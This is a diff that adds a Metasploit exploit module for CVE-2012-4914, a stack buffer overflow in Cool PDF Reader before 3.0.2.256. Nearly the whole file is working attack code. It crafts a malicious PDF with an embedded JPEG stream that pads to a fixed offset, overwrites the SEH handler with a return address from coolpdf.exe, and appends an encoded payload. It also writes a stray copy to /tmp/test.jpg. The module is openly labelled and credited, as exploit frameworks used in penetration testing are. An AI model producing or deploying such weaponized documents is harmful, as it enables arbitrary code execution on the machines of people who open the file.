|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::FILEFORMAT |
| 14 | + include Msf::Exploit::PDF |
| 15 | + include Msf::Exploit::Remote::Seh |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'Cool PDF Image Stream Buffer Overflow', |
| 20 | + 'Description' => %q{ |
| 21 | + This module exploits a stack buffer overflow in Cool PDF Reader prior to version |
| 22 | + 3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that |
| 23 | + contains a specially crafted image stream. This module has been tested successfully |
| 24 | + on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Francis Provencher', # Vulnerability discovery |
| 30 | + 'Chris Gabriel', # Proof of concept |
| 31 | + 'juan vazquez' # Metasploit module |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'CVE', '2012-4914' ], |
| 36 | + [ 'OSVDB', '89349' ], |
| 37 | + [ 'EDB', '24463' ], |
| 38 | + [ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ] |
| 39 | + ], |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'Space' => 2000, |
| 43 | + 'DisableNops' => true |
| 44 | + }, |
| 45 | + 'Platform' => 'win', |
| 46 | + 'Targets' => |
| 47 | + [ |
| 48 | + [ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3', |
| 49 | + { |
| 50 | + 'Offset' => 433, |
| 51 | + 'Ret' => 0x00539fa4 # ppr from coolpdf.exe |
| 52 | + } |
| 53 | + ] |
| 54 | + ], |
| 55 | + 'DisclosureDate' => 'Jan 18 2013', |
| 56 | + 'DefaultTarget' => 0)) |
| 57 | + |
| 58 | + register_options( |
| 59 | + [ |
| 60 | + OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf']) |
| 61 | + ], self.class) |
| 62 | + end |
| 63 | + |
| 64 | + def exploit |
| 65 | + file_create(make_pdf) |
| 66 | + end |
| 67 | + |
| 68 | + def jpeg |
| 69 | + p = payload.encoded |
| 70 | + sploit = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64" + "\x6F\x62\x65\x00\x64\x80\x00\x00" |
| 71 | + sploit << "\x00\x02\xFF\xDB\x00\x84\x00\x02" + "\x02\x02\x02\x02\x02\x02\x02\x02" |
| 72 | + sploit << "\x02\x03\x02\x02\x02\x03\x04\x03" + "\x03\x03\x03\x04\x05\x04\x04\x04" |
| 73 | + sploit << "\x04\x04\x05\x05\x05\x05\x05\x05" + "\x05\x05\x05\x05\x07\x08\x08\x08" |
| 74 | + sploit << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09" + "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C" |
| 75 | + sploit << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01" + "\x03\x02\x02\x03\x03\x03\x07\x05" |
| 76 | + sploit << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F" + "\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C" |
| 77 | + sploit << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C" + "\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E" |
| 78 | + sploit << "\x0E\x0E\x0C\x11\x11\x11\x11\x11" + "\x11\x11\x11\x11\x11\x11\x11\x11" |
| 79 | + sploit << "\x11\x11\x11\x11\x11\x11\x11\x11" + "\xFF\xC0\x00\x14\x08\x00\x32\x00" |
| 80 | + sploit << "\xE6\x04\x01\x11\x00\x02\x11\x01" + "\x03\x11\x01\x04\x11\x00\xFF\xC4" |
| 81 | + sploit << "\x01\xA2\x00\x00\x00\x07\x01\x01" + "\x01\x01\x01\x00\x00\x00\x00\x00" |
| 82 | + sploit << "\x00\x00\x00\x04\x05\x03\x02\x06" + "\x01\x00\x07\x08\x09\x0A\x0B\x01" |
| 83 | + sploit << "\x54\x02\x02\x03\x01\x01\x01\x01" + "\x01\x00\x00\x00\x00\x00\x00\x00" |
| 84 | + sploit << "\x01\x00\x02\x03\x04\x05\x06\x07" |
| 85 | + sploit << rand_text(target['Offset']) |
| 86 | + sploit << generate_seh_record(target.ret) |
| 87 | + sploit << p |
| 88 | + sploit << rand_text(2388 - p.length) |
| 89 | + |
| 90 | + f = ::File.open("/tmp/test.jpg", "wb") |
| 91 | + f.write(sploit) |
| 92 | + f.close |
| 93 | + return sploit |
| 94 | + end |
| 95 | + |
| 96 | + # Override the mixin obfuscator since it doesn't seem to work here. |
| 97 | + def nObfu(str) |
| 98 | + return str |
| 99 | + end |
| 100 | + |
| 101 | + def make_pdf |
| 102 | + @pdf << header |
| 103 | + add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")) |
| 104 | + add_object(2, nObfu("<</Type/Outlines>>")) |
| 105 | + add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")) |
| 106 | + add_object(4, nObfu("[/PDF/Text/ImageC]")) |
| 107 | + add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")) |
| 108 | + stream_1 = "stream" << eol |
| 109 | + stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol |
| 110 | + stream_1 << "endstream" << eol |
| 111 | + add_object(6, nObfu("<</Length 91>>#{stream_1}")) |
| 112 | + stream = "<<" << eol |
| 113 | + stream << "/Width 230" << eol |
| 114 | + stream << "/BitsPerComponent 8" << eol |
| 115 | + stream << "/Name /X" << eol |
| 116 | + stream << "/Height 50" << eol |
| 117 | + stream << "/Intent /RelativeColorimetric" << eol |
| 118 | + stream << "/Subtype /Image" << eol |
| 119 | + stream << "/Filter /DCTDecode" << eol |
| 120 | + stream << "/Length #{jpeg.length}" << eol |
| 121 | + stream << "/ColorSpace /DeviceCMYK" << eol |
| 122 | + stream << "/Type /XObject" << eol |
| 123 | + stream << ">>" |
| 124 | + stream << "stream" << eol |
| 125 | + stream << jpeg << eol |
| 126 | + stream << "endstream" << eol |
| 127 | + add_object(7, stream) |
| 128 | + finish_pdf |
| 129 | + end |
| 130 | + |
| 131 | +end |
0 commit comments